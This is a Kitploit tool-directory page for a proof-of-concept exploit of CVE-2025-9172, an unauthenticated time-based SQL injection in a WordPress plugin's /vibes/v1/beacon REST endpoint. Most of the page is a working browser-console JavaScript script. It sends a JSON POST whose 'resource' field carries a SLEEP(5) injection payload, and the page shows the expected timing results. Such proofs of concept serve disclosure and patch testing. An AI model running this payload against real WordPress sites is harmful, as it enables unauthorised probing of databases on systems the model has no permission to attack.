Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-9172 — Proof-of-concept exploit for an unauthenticated time-based SQL injection vulnerability in WordPress /vibes/v1/beacon REST endpoint, with browser console PoC demonstrating SLEEP-based injection. | Kitploit
Tools/GitHubGitHub/jfriedli/cve-2025-9172
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubjfriedli/cve-2025-9172

CVE-2025-9172

Proof-of-concept exploit for an unauthenticated time-based SQL injection vulnerability in WordPress /vibes/v1/beacon REST endpoint, with browser console PoC demonstrating SLEEP-based injection.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Exploit: Time-Based SQL Injection via /vibes/v1/beacon (unauthenticated)

Browser Console PoC

root@kitploit:~
(async () => {
  const url = 'http://localhost/wordpress/index.php?rest_route=/vibes/v1/beacon';

  async function send(resource) {
    const body = {
      type: 'navigation',
      resource, // injected into SQL (unprepared)
      authenticated: 0,
      metrics: [{ name: 'wait', start: 1, duration: 1 }]
    };

    const t0 = performance.now();

    const res = await fetch(url, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(body)
    });

    await res.text();

    return {
      status: res.status,
      ms: Math.round(performance.now() - t0)
    };
  }

  console.log('Baseline (fast)…');
  console.log(await send('/a/b/c')); // expected: ~20–50ms

  console.log('Injected (time-based)…');
  console.log(await send("/a/b/c' OR SLEEP(5) OR 'x/dummy")); // expected: ~5000ms
})();

Expected Result

root@kitploit:~
Baseline: { status: 202, ms: ~20–50 }
Injected: { status: 202, ms: ~5000+ }
Download Tool